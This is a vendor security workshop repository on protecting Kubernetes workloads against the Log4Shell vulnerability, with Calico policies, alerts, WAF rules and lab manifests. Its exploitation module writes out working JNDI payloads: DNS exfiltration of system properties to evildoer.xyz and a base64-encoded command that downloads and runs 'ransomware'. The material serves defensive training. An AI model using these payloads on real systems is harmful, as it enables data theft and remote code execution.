├── misc ├── values-aks-azure-cni.yaml ├── values-eks-aws-cni.yaml ├── Dockerfile ├── values-aks-calico-cni.yaml └── values-eks-calico-cni.yaml ├── doc ├── img │ ├── cc-signup.png │ ├── cc-copy-helm.png │ ├── log4j_attack.png │ ├── blackhat_felix.png │ ├── cc-dsg-alerts.png │ ├── cc-join-cluster.png │ ├── cc-scan-result.png │ ├── log4j-exploit.png │ ├── cc-add-exception.png │ ├── cc-dsg-data-exfil.png │ ├── cc-packet-capture.png │ ├── cc-activity-alerts.png │ ├── cc-cluster-connected.png │ ├── cc-configure-scanner.png │ ├── cc-connect-cluster.png │ ├── cc-download-scanner.png │ ├── cc-quarantine-attack.png │ ├── cc-recommend-secpol.png │ ├── cc-security-team-tier.png │ ├── cc-dynamic-service-graph.png │ └── cc-enable-treat-detection.png ├── incidentresponse.md ├── mitigation.md ├── intro.md ├── k8s.md ├── exploitation.md ├── detection.md ├── prevention.md └── calicocloud.md ├── workshop ├── secpols │ ├── 00-security-team.yaml │ ├── security-team.pass-to-next-tier.yaml │ ├── security-team.quarantine-workloads.yaml │ ├── security-team.quarantine-namespaces.yaml │ └── security-team.deny-threatfeed-matches.yaml ├── dpi │ └── java-app-dpi.yaml ├── dsg │ └── application-layer.yaml ├── threatfeeds │ └── snort-ip-block-list.yaml ├── felix │ └── felix.yaml ├── iaac │ ├── tigera-image-assurance-admission-controller-policy.yaml │ └── tigera-image-assurance-admission-controller-deploy.yaml ├── alerts │ ├── waf.cve-2021-44228-log4j-exploitation-attempt.yaml │ ├── dns.suspicious-dns-query-alert.yaml │ └── flows.suspicious-connection-initiated-from-process-alert.yaml └── waf │ └── waf-rules │ ├── RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf │ ├── REQUEST-949-BLOCKING-EVALUATION.conf │ ├── REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf │ ├── CVE-2021-44228-LOG4J-REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf │ ├── modsecdefault.conf │ ├── REQUEST-901-INITIALIZATION.conf │ ├── crs-setup.conf │ └── REQUEST-942-APPLICATION-ATTACK-SQLI.conf ├── apps ├── 00-namespaces.yaml ├── attacker.yaml ├── java-app.yaml ├── jndi-exploit.yaml └── java-client.yaml ├── .gitignore ├── .github └── workflows │ └── run-tigera-scanner.yaml └── README.md /misc/values-aks-azure-cni.yaml: -------------------------------------------------------------------------------- 1 | { installation: {kubernetesProvider: AKS }} 2 | -------------------------------------------------------------------------------- /misc/values-eks-aws-cni.yaml: -------------------------------------------------------------------------------- 1 | { installation: {kubernetesProvider: EKS }} 2 | -------------------------------------------------------------------------------- /doc/img/cc-signup.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-signup.png -------------------------------------------------------------------------------- /doc/img/cc-copy-helm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-copy-helm.png -------------------------------------------------------------------------------- /doc/img/log4j_attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/log4j_attack.png -------------------------------------------------------------------------------- /doc/img/blackhat_felix.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/blackhat_felix.png -------------------------------------------------------------------------------- /doc/img/cc-dsg-alerts.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-dsg-alerts.png -------------------------------------------------------------------------------- /doc/img/cc-join-cluster.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-join-cluster.png -------------------------------------------------------------------------------- /doc/img/cc-scan-result.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-scan-result.png -------------------------------------------------------------------------------- /doc/img/log4j-exploit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/log4j-exploit.png -------------------------------------------------------------------------------- /doc/img/cc-add-exception.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-add-exception.png -------------------------------------------------------------------------------- /doc/img/cc-dsg-data-exfil.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-dsg-data-exfil.png -------------------------------------------------------------------------------- /doc/img/cc-packet-capture.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-packet-capture.png -------------------------------------------------------------------------------- /doc/img/cc-activity-alerts.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-activity-alerts.png -------------------------------------------------------------------------------- /doc/img/cc-cluster-connected.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-cluster-connected.png -------------------------------------------------------------------------------- /doc/img/cc-configure-scanner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-configure-scanner.png -------------------------------------------------------------------------------- /doc/img/cc-connect-cluster.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-connect-cluster.png -------------------------------------------------------------------------------- /doc/img/cc-download-scanner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-download-scanner.png -------------------------------------------------------------------------------- /doc/img/cc-quarantine-attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-quarantine-attack.png -------------------------------------------------------------------------------- /doc/img/cc-recommend-secpol.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-recommend-secpol.png -------------------------------------------------------------------------------- /workshop/secpols/00-security-team.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: projectcalico.org/v3 3 | kind: Tier 4 | metadata: 5 | name: security-team 6 | spec: 7 | order: 175 8 | -------------------------------------------------------------------------------- /doc/img/cc-security-team-tier.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-security-team-tier.png -------------------------------------------------------------------------------- /doc/img/cc-dynamic-service-graph.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-dynamic-service-graph.png -------------------------------------------------------------------------------- /doc/img/cc-enable-treat-detection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tigera-solutions/prevent-detect-and-mitigate-container-based-threats/HEAD/doc/img/cc-enable-treat-detection.png -------------------------------------------------------------------------------- /workshop/dpi/java-app-dpi.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: projectcalico.org/v3 2 | kind: DeepPacketInspection 3 | metadata: 4 | name: java-app-dpi 5 | namespace: java-app 6 | spec: 7 | selector: 'app == "java-app"' 8 | -------------------------------------------------------------------------------- /misc/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM gcr.io/distroless/java:11 2 | COPY misc/JNDIExploit-1.2-SNAPSHOT.jar /JNDIExploit-1.2-SNAPSHOT.jar 3 | WORKDIR / 4 | EXPOSE 1398 8000 5 | 6 | ENTRYPOINT ["java", "-jar", "/JNDIExploit-1.2-SNAPSHOT.jar", "-p", "8000","-i", "jndi-exploit.attack"] 7 | -------------------------------------------------------------------------------- /misc/values-aks-calico-cni.yaml: -------------------------------------------------------------------------------- 1 | installation: 2 | kubernetesProvider: "AKS" 3 | cni: 4 | type: Calico 5 | ipam: 6 | type: Calico 7 | calicoNetwork: 8 | bgp: Disabled 9 | ipPools: 10 | - cidr: 10.244.0.0/16 11 | encapsulation: VXLAN 12 | -------------------------------------------------------------------------------- /misc/values-eks-calico-cni.yaml: -------------------------------------------------------------------------------- 1 | installation: 2 | kubernetesProvider: "EKS" 3 | cni: 4 | type: Calico 5 | ipam: 6 | type: Calico 7 | calicoNetwork: 8 | bgp: Disabled 9 | ipPools: 10 | - cidr: 10.244.0.0/16 11 | encapsulation: VXLAN 12 | -------------------------------------------------------------------------------- /workshop/dsg/application-layer.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: operator.tigera.io/v1 2 | kind: ApplicationLayer 3 | metadata: 4 | name: tigera-secure 5 | spec: 6 | logCollection: 7 | collectLogs: Enabled 8 | logIntervalSeconds: 5 9 | logRequestsPerInterval: -1 10 | webApplicationFirewall: Disabled 11 | -------------------------------------------------------------------------------- /workshop/threatfeeds/snort-ip-block-list.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: projectcalico.org/v3 3 | kind: GlobalThreatFeed 4 | metadata: 5 | name: snort-ip-block-list 6 | spec: 7 | pull: 8 | http: 9 | url: https://snort.org/downloads/ip-block-list 10 | globalNetworkSet: 11 | labels: 12 | threatfeed: snort 13 | -------------------------------------------------------------------------------- /apps/00-namespaces.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Namespace 3 | metadata: 4 | name: java-app 5 | labels: 6 | tigera-admission-controller: enforcing 7 | --- 8 | apiVersion: v1 9 | kind: Namespace 10 | metadata: 11 | name: attack 12 | --- 13 | apiVersion: v1 14 | kind: Namespace 15 | metadata: 16 | name: java-client 17 | -------------------------------------------------------------------------------- /apps/attacker.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: v1 3 | kind: Pod 4 | metadata: 5 | name: attack 6 | namespace: attack 7 | labels: 8 | app: attack 9 | spec: 10 | containers: 11 | - image: nicolaka/netshoot 12 | command: 13 | - sleep 14 | - infinity 15 | imagePullPolicy: IfNotPresent 16 | name: attack 17 | restartPolicy: Always 18 | -------------------------------------------------------------------------------- /workshop/felix/felix.yaml: -------------------------------------------------------------------------------- 1 | spec: 2 | flowLogsFlushInterval: 15s 3 | flowLogsFileAggregationKindForAllowed: 1 4 | flowLogsCollectTcpStats: true 5 | flowLogsEnableHostEndpoint: true 6 | dnsLogsFlushInterval: 15s 7 | logSeverityScreen: Info 8 | captureRotationSeconds: 3600 9 | l7LogsFlushInterval: 15s 10 | l7LogsFileAggregationHTTPHeaderInfo: IncludeL7HTTPHeaderInfo 11 | policySyncPathPrefix: /var/run/nodeagent 12 | -------------------------------------------------------------------------------- /workshop/iaac/tigera-image-assurance-admission-controller-policy.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: containersecurity.tigera.io/v1beta1 2 | kind: ContainerAdmissionPolicy 3 | metadata: 4 | name: reject-failed 5 | spec: 6 | selector: all() 7 | namespaceSelector: all() 8 | order: 10 9 | rules: 10 | - action: Allow 11 | imageScanStatus: 12 | operator: IsOneOf 13 | values: 14 | - Pass 15 | - Warn 16 | - action: Reject 17 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled class file 2 | *.class 3 | 4 | # Log file 5 | *.log 6 | 7 | # BlueJ files 8 | *.ctxt 9 | 10 | # Mobile Tools for Java (J2ME) 11 | .mtj.tmp/ 12 | 13 | # Package Files # 14 | *.jar 15 | *.war 16 | *.nar 17 | *.ear 18 | *.zip 19 | *.tar.gz 20 | *.rar 21 | 22 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 23 | hs_err_pid* 24 | 25 | # other 26 | target/ 27 | *.iml 28 | .idea/ 29 | .DS_Store 30 | admission_controller_cert.pem 31 | admission_controller_key.pem 32 | -------------------------------------------------------------------------------- /workshop/secpols/security-team.pass-to-next-tier.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: projectcalico.org/v3 2 | kind: GlobalNetworkPolicy 3 | metadata: 4 | name: security-team.pass-to-next-tier 5 | spec: 6 | tier: security-team 7 | order: 40 8 | selector: all() 9 | namespaceSelector: '' 10 | serviceAccountSelector: '' 11 | ingress: 12 | - action: Pass 13 | source: {} 14 | destination: {} 15 | egress: 16 | - action: Pass 17 | source: {} 18 | destination: {} 19 | doNotTrack: false 20 | applyOnForward: false 21 | preDNAT: false 22 | types: 23 | - Ingress 24 | - Egress 25 | -------------------------------------------------------------------------------- /workshop/alerts/waf.cve-2021-44228-log4j-exploitation-attempt.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: projectcalico.org/v3 2 | kind: GlobalAlert 3 | metadata: 4 | name: waf.protect-cve-2021-44228-log4j-exploitation-attempt 5 | spec: 6 | 7 | description: "Generate alerts for CVE-2021-44228 Log4j exploitation attempt ruleset matches" 8 | summary: "Generate alerts for CVE-2021-44228 Log4j exploitation attempt ruleset matches" 9 | severity: 100 10 | dataSet: waf 11 | period: 1m 12 | lookback: 5m 13 | query: '"rule_info" IN {"*1005*"}' 14 | aggregateBy: [rule_info, method, path, destination.hostname, destination.ip, source.hostname, source.ip] 15 | -------------------------------------------------------------------------------- /workshop/secpols/security-team.quarantine-workloads.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: projectcalico.org/v3 2 | kind: GlobalNetworkPolicy 3 | metadata: 4 | name: security-team.quarantine-workloads 5 | spec: 6 | tier: security-team 7 | order: 20 8 | selector: quarantine == "true" 9 | namespaceSelector: '' 10 | serviceAccountSelector: '' 11 | ingress: 12 | - action: Log 13 | source: {} 14 | destination: {} 15 | - action: Deny 16 | source: {} 17 | destination: {} 18 | egress: 19 | - action: Log 20 | source: {} 21 | destination: {} 22 | - action: Deny 23 | source: {} 24 | destination: {} 25 | doNotTrack: false 26 | applyOnForward: false 27 | preDNAT: false 28 | types: 29 | - Ingress 30 | - Egress 31 | -------------------------------------------------------------------------------- /workshop/secpols/security-team.quarantine-namespaces.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: projectcalico.org/v3 2 | kind: GlobalNetworkPolicy 3 | metadata: 4 | name: security-team.quarantine-namespaces 5 | spec: 6 | tier: security-team 7 | order: 30 8 | selector: '' 9 | namespaceSelector: quarantine == "true" 10 | serviceAccountSelector: '' 11 | ingress: 12 | - action: Log 13 | source: {} 14 | destination: {} 15 | - action: Deny 16 | source: {} 17 | destination: {} 18 | egress: 19 | - action: Log 20 | source: {} 21 | destination: {} 22 | - action: Deny 23 | source: {} 24 | destination: {} 25 | doNotTrack: false 26 | applyOnForward: false 27 | preDNAT: false 28 | types: 29 | - Ingress 30 | - Egress 31 | -------------------------------------------------------------------------------- /workshop/alerts/dns.suspicious-dns-query-alert.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: projectcalico.org/v3 2 | kind: GlobalAlert 3 | metadata: 4 | name: dns.suspicious-dns-query 5 | spec: 6 | description: Generate alerts for all DNS lookups not in the domain set 7 | summary: "[IoC] suspcious dns query from pod ${client_namespace}/${client_name_aggr} for '${qname}'" 8 | severity: 100 9 | dataSet: dns 10 | period: 1m 11 | lookback: 5m 12 | query: qname NOTIN ${domains} AND client_namespace IN ${namespaces} 13 | aggregateBy: [client_namespace, client_name_aggr, qname] 14 | substitutions: 15 | - name: domains 16 | values: 17 | - "*cluster.local" 18 | - "*ec2.internal" 19 | - "*.in-addr.arpa" 20 | - "localhost" 21 | - name: namespaces 22 | values: 23 | - "java-app" 24 | 25 | -------------------------------------------------------------------------------- /doc/incidentresponse.md: -------------------------------------------------------------------------------- 1 | # Incident Response 2 | 3 | ## Containment 4 | 5 | Isolating intruder elements by quarantining the source of the attacks. 6 | 7 | ``` 8 | kubectl apply -f workshop/secpols 9 | ``` 10 | 11 | ![ir](img/cc-security-team-tier.png) 12 | 13 | ``` 14 | kubectl label pod -n attack -l app=attack "quarantine=true" --overwrite 15 | ``` 16 | 17 | ![ir](img/cc-quarantine-attack.png) 18 | 19 | 20 | ## Evidence Collection 21 | 22 | Collect the flow, DNS, HTTP, alert event logs, and other relevant evidence. 23 | 24 | Initiate Packet Capture to record all network traffic in the `attack` namespace. 25 | 26 | ![ir](img/cc-packet-capture.png) 27 | 28 | 29 | 30 | **Congratulations! You have finished all the labs in the workshop.** 31 | 32 | 33 | >Follow the cleanup instructions on the [main page](https://github.com/tigera-solutions/detect-and-mitigate-container-based-threats#workshop-modules) if needed. 34 | -------------------------------------------------------------------------------- /workshop/secpols/security-team.deny-threatfeed-matches.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: projectcalico.org/v3 2 | kind: GlobalNetworkPolicy 3 | metadata: 4 | name: security-team.deny-threatfeed-matches 5 | spec: 6 | tier: security-team 7 | order: 10 8 | selector: all() 9 | namespaceSelector: '' 10 | serviceAccountSelector: '' 11 | ingress: 12 | - action: Deny 13 | source: 14 | selector: threatfeed == "snort" 15 | destination: {} 16 | - action: Deny 17 | source: 18 | selector: threatfeed == "feodo" 19 | destination: {} 20 | egress: 21 | - action: Deny 22 | source: {} 23 | destination: 24 | selector: threatfeed == "snort" 25 | - action: Deny 26 | source: {} 27 | destination: 28 | selector: threatfeed == "feodo" 29 | doNotTrack: false 30 | applyOnForward: false 31 | preDNAT: false 32 | types: 33 | - Ingress 34 | - Egress 35 | -------------------------------------------------------------------------------- /apps/java-app.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: apps/v1 3 | kind: Deployment 4 | metadata: 5 | name: java-app 6 | namespace: java-app 7 | labels: 8 | app: java-app 9 | tigera.io/address-group: java-app 10 | spec: 11 | replicas: 1 12 | selector: 13 | matchLabels: 14 | app: java-app 15 | tigera.io/address-group: java-app 16 | template: 17 | metadata: 18 | labels: 19 | app: java-app 20 | tigera.io/address-group: java-app 21 | spec: 22 | containers: 23 | - image: quay.io/jsabo/log4shell-vulnerable-app:latest 24 | imagePullPolicy: Always 25 | name: java-app 26 | restartPolicy: Always 27 | 28 | --- 29 | apiVersion: v1 30 | kind: Service 31 | metadata: 32 | name: java-app 33 | namespace: java-app 34 | labels: 35 | service: java-app 36 | spec: 37 | ports: 38 | - port: 80 39 | targetPort: 8080 40 | protocol: TCP 41 | selector: 42 | app: java-app 43 | -------------------------------------------------------------------------------- /workshop/alerts/flows.suspicious-connection-initiated-from-process-alert.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: projectcalico.org/v3 2 | kind: GlobalAlert 3 | metadata: 4 | name: flows.suspicious-connection-initiated-from-process 5 | spec: 6 | description: Generate alerts for all processes initiating network calls not in the process set 7 | summary: '[IoC] suspicious connection initiated from process ${process_name} on pod ${source_namespace}/${source_name_aggr}' 8 | severity: 100 9 | dataSet: flows 10 | period: 1m 11 | lookback: 5m 12 | query: process_name NOTIN ${process_names} AND source_namespace IN ${namespaces} 13 | aggregateBy: [source_namespace, source_name_aggr, process_name, process_args] 14 | substitutions: 15 | - name: namespaces 16 | values: 17 | - "java-app" 18 | - "testing" 19 | - name: process_names 20 | values: 21 | - "-" 22 | - "/usr/lib/jvm/java-1.8-openjdk/jre/bin/java" 23 | - "/metrics-server" 24 | - "/apiserver" 25 | -------------------------------------------------------------------------------- /.github/workflows/run-tigera-scanner.yaml: -------------------------------------------------------------------------------- 1 | name: Calico Cloud Container Scan Results 2 | 3 | on: 4 | push: 5 | branches: 6 | - scan 7 | 8 | jobs: 9 | inspect-image-for-vulnerabilities: 10 | runs-on: ubuntu-latest 11 | steps: 12 | - name: Build Image 13 | run: | 14 | docker build -t localhost:5000/log4shell-vulnerable-app:latest https://github.com/christophetd/log4shell-vulnerable-app.git#main 15 | - name: Install Tigera Scanner 16 | run: | 17 | curl -Lo tigera-scanner https://installer.calicocloud.io/tigera-scanner/v3.16.1-11/image-assurance-scanner-cli-linux-amd64 18 | chmod +x tigera-scanner 19 | ./tigera-scanner version 20 | - name: Scan Image 21 | run: | 22 | ./tigera-scanner scan localhost:5000/log4shell-vulnerable-app:latest 23 | env: 24 | CC_API_URL: ${{ secrets.CC_API_URL }} 25 | CC_TOKEN: ${{ secrets.CC_TOKEN }} 26 | CC_WARN_THRESHOLD: 3 27 | CC_FAIL_THRESHOLD: 7 28 | -------------------------------------------------------------------------------- /apps/jndi-exploit.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: apps/v1 3 | kind: Deployment 4 | metadata: 5 | name: jndi-exploit 6 | namespace: attack 7 | spec: 8 | replicas: 1 9 | selector: 10 | matchLabels: 11 | app: jndi-exploit 12 | strategy: 13 | rollingUpdate: 14 | maxSurge: 1 15 | maxUnavailable: 1 16 | type: RollingUpdate 17 | template: 18 | metadata: 19 | labels: 20 | app: jndi-exploit 21 | spec: 22 | containers: 23 | - image: quay.io/jsabo/jndi-exploit:latest 24 | imagePullPolicy: Always 25 | name: jndi-exploit 26 | restartPolicy: Always 27 | 28 | --- 29 | apiVersion: v1 30 | kind: Service 31 | metadata: 32 | name: jndi-exploit 33 | namespace: attack 34 | labels: 35 | service: jndi-exploit 36 | spec: 37 | ports: 38 | - name: ldap 39 | port: 1389 40 | targetPort: 1389 41 | protocol: TCP 42 | - name: http 43 | port: 8000 44 | targetPort: 8000 45 | protocol: TCP 46 | selector: 47 | app: jndi-exploit 48 | -------------------------------------------------------------------------------- /doc/mitigation.md: -------------------------------------------------------------------------------- 1 | # Mitigation 2 | 3 | ## Enable Workload-centric Web Application Firewall (WAF) 4 | 5 | Workload-centric WAF will detect and block OWASP Top 10 and other attacks. 6 | 7 | Enable WAF and apply the WAF ruleset to protect the vulnerable `java-app` from the malicious requests. 8 | 9 | ``` 10 | kubectl patch applicationlayer tigera-secure --type='merge' -p '{"spec":{"webApplicationFirewall":"Enabled"}}' 11 | kubectl apply -f workshop/waf 12 | ``` 13 | 14 | Enable WAF protection for the `java-app` service. 15 | 16 | ``` 17 | kubectl annotate svc java-app -n java-app projectcalico.org/l7-logging=true 18 | ``` 19 | 20 | Malicous requests attempting to exploit the Log4Shell vulnerability will be detected and blocked. 21 | 22 | 23 | ## Enable Zerotrust Access Controls 24 | 25 | Reduce the attack surface of the application by implementing a zero-trust security policy. 26 | 27 | Use the Security Policy Recommender to create a security policy restricting access to the vulnerable `java-app`. 28 | 29 | ![intro](img/cc-recommend-secpol.png) 30 | 31 | 32 | [Next -> Module 8](incidentresponse.md) 33 | -------------------------------------------------------------------------------- /doc/intro.md: -------------------------------------------------------------------------------- 1 | # Introduction to the Log4j vulnerability 2 | 3 | ## Overview 4 | 5 | The log4j vulnerability is a security flaw that affects the log4j library, which is a popular logging utility used in Java applications. This vulnerability allows attackers to execute arbitrary code on the affected system by injecting malicious payloads into log messages. 6 | 7 | The log4j vulnerability is caused by the lack of input validation in the log4j library. When log messages are processed, the log4j library does not properly sanitize the input, allowing attackers to inject malicious payloads into log messages. This can be done through various methods, such as using special characters or exploiting vulnerabilities in log message formatting. 8 | 9 | The log4j vulnerability can be exploited to execute malicious code on the affected system, potentially giving attackers access to sensitive information or allowing them to manipulate the system for their own purposes. 10 | 11 | 12 | ## Scenario 13 | 14 | ![intro](img/log4j-exploit.png) 15 | 16 | 17 | ## Let's get started 18 | 19 | We will use this vulnerability to demonstrate how Calico Cloud can be used to prevent, detect, and mitigate the risk of threats that involve containers. 20 | 21 | [Next -> Module 4](prevention.md) 22 | -------------------------------------------------------------------------------- /doc/k8s.md: -------------------------------------------------------------------------------- 1 | # Creating a Kubernetes cluster 2 | 3 | Please choose a Kubernetes cluster compatible with the Calico Cloud [system requirements](https://docs.calicocloud.io/get-started/requirements/system-requirements). 4 | 5 | ## Install Calico Open Source 6 | 7 | Please refer to the Calico Open Source documentation for instructions on how to [install Calico with Helm](https://projectcalico.docs.tigera.io/getting-started/kubernetes/helm). 8 | 9 | ### Managed Kubernetes Shortcuts 10 | 11 | ``` 12 | helm repo add projectcalico https://projectcalico.docs.tigera.io/charts 13 | kubectl create namespace tigera-operator 14 | ``` 15 | 16 | Amazon Elastic Kubernetes Service (EKS) 17 | 18 | ``` 19 | helm install calico projectcalico/tigera-operator --version v3.24.5 -f misc/values-eks-aws-cni.yaml --namespace tigera-operator 20 | ``` 21 | 22 | Microsoft Azure Kubernetes Service (AKS) 23 | 24 | ``` 25 | helm install calico projectcalico/tigera-operator --version v3.24.5 -f misc/values-aks-azure-cni.yaml --namespace tigera-operator 26 | ``` 27 | 28 | Confirm all the pods are ready 29 | 30 | ``` 31 | watch kubectl get pods -n calico-system 32 | ``` 33 | 34 | Confirm all the nodes are ready 35 | 36 | ``` 37 | kubectl get nodes 38 | ``` 39 | 40 | [Next -> Module 2](calicocloud.md) 41 | -------------------------------------------------------------------------------- /apps/java-client.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: java-client 5 | namespace: java-client 6 | spec: 7 | replicas: 1 8 | selector: 9 | matchLabels: 10 | app: java-client 11 | strategy: 12 | rollingUpdate: 13 | maxSurge: 1 14 | maxUnavailable: 1 15 | type: RollingUpdate 16 | template: 17 | metadata: 18 | labels: 19 | app: java-client 20 | spec: 21 | containers: 22 | - image: locustio/locust 23 | imagePullPolicy: Always 24 | name: locust 25 | command: ["locust"] 26 | volumeMounts: 27 | - mountPath: /home/locust 28 | name: locust-scripts 29 | env: 30 | - name: LOCUST_HEADLESS 31 | value: "true" 32 | - name: LOCUST_USERS 33 | value: "10" 34 | - name: LOCUST_HOST 35 | value: "http://java-app.java-app" 36 | restartPolicy: Always 37 | volumes: 38 | - name: locust-scripts 39 | configMap: 40 | name: scripts-cm 41 | --- 42 | apiVersion: v1 43 | kind: ConfigMap 44 | metadata: 45 | name: scripts-cm 46 | namespace: java-client 47 | data: 48 | locustfile.py: | 49 | from locust import HttpUser, task 50 | class HelloWorldUser(HttpUser): 51 | def on_start(self): 52 | self.client.headers = {'X-Api-Version': '1.0'} 53 | @task 54 | def hello_world(self): 55 | self.client.get("/") 56 | -------------------------------------------------------------------------------- /doc/exploitation.md: -------------------------------------------------------------------------------- 1 | # Exploitation 2 | 3 | Let's exploit the vulnerable java-app workload. 4 | 5 | ## Get a shell to a running container 6 | 7 | ``` 8 | kubectl exec -it -n attack attack -- bash 9 | ``` 10 | 11 | Try a valid request to start 12 | 13 | ``` 14 | curl -v -H 'X-Api-Version: 1.0' 'java-app.java-app' 15 | ``` 16 | 17 | ## Data exfiltration 18 | 19 | ``` 20 | curl -v -H \ 21 | 'X-Api-Version: ${jndi:dns://${sys:os.name}.${sys:os.version}.evildoer.xyz}' \ 22 | 'java-app.java-app' 23 | ``` 24 | 25 | Here are some other interesting properties you can access to fingerprint the target. 26 | 27 | ``` 28 | ${sys:os.name} 29 | ${sys:os.version} 30 | ${sys:user.name} 31 | ${sys:user.dir} 32 | ${sys:java.version} 33 | ``` 34 | 35 | ![pwn](img/cc-dsg-data-exfil.png) 36 | 37 | ## Remote code execution 38 | 39 | Create a base64 encoded playload to install our malware 40 | 41 | ``` 42 | echo -n 'wget evildoer.xyz/ransomware;chmod +x /ransomware;./ransomware' | base64 43 | ``` 44 | 45 | ``` 46 | d2dldCBldmlsZG9lci54eXovcmFuc29td2FyZTtjaG1vZCAreCAvcmFuc29td2FyZTsuL3JhbnNvbXdhcmU= 47 | ``` 48 | 49 | Append the output to the end of the JNDI lookup url 50 | 51 | ``` 52 | curl -v -H \ 53 | 'X-Api-Version: ${jndi:ldap://jndi-exploit.attack:1389/Basic/Command/Base64/} \ 54 | 'java-app.java-app' 55 | ``` 56 | 57 | So you end up with 58 | 59 | ``` 60 | curl -v -H \ 61 | 'X-Api-Version: ${jndi:ldap://jndi-exploit.attack:1389/Basic/Command/Base64/d2dldCBldmlsZG9lci54eXovcmFuc29td2FyZTtjaG1vZCAreCAvcmFuc29td2FyZTsuL3JhbnNvbXdhcmU=}' \ 62 | 'java-app.java-app' 63 | 64 | ``` 65 | 66 | ![pwn](img/cc-dsg-alerts.png) 67 | 68 | ![pwn](img/cc-activity-alerts.png) 69 | 70 | 71 | 72 | [Next -> Module 7](mitigation.md) 73 | -------------------------------------------------------------------------------- /doc/detection.md: -------------------------------------------------------------------------------- 1 | # Detection 2 | 3 | 4 | ## Enable Deep Packet Inspection 5 | 6 | Detect exploitation attempts by evaluating workload traffic against intrusion detection signatures. 7 | 8 | Calico Cloud's Kubernetes native deep packet inspection allows us to choose the java-app workload and examine the traffic against Snort signatures. 9 | 10 | Take a look. 11 | 12 | ``` 13 | apiVersion: projectcalico.org/v3 14 | kind: DeepPacketInspection 15 | metadata: 16 | name: java-app-dpi 17 | namespace: java-app 18 | spec: 19 | selector: 'app == "java-app"' 20 | ``` 21 | 22 | Enable deep packet inspection for the vulnerable java-app workload. 23 | 24 | ``` 25 | kubectl apply -f workshop/dpi 26 | ``` 27 | 28 | ## Enable eBPF based Container Threat Detection 29 | 30 | Detect the presence of malicious files and processes in compromised workloads. 31 | 32 | Turn on Container Threat Detection for your cluster nodes in the Calico Cloud web ui. Yes, it's really that easy. 33 | 34 | ![intro](img/cc-enable-treat-detection.png) 35 | 36 | 37 | ## Dynamic Service and Threat Graph 38 | 39 | Expose reconnaissance gathering, exploitation attempts, and data exfiltration of sensitive information. 40 | 41 | Collect the path and arguments of short-lived processes, low-level TCP logging, Calico Cloud flow, DNS, and application layer logging. 42 | 43 | ``` 44 | kubectl patch felixconfiguration default --patch-file 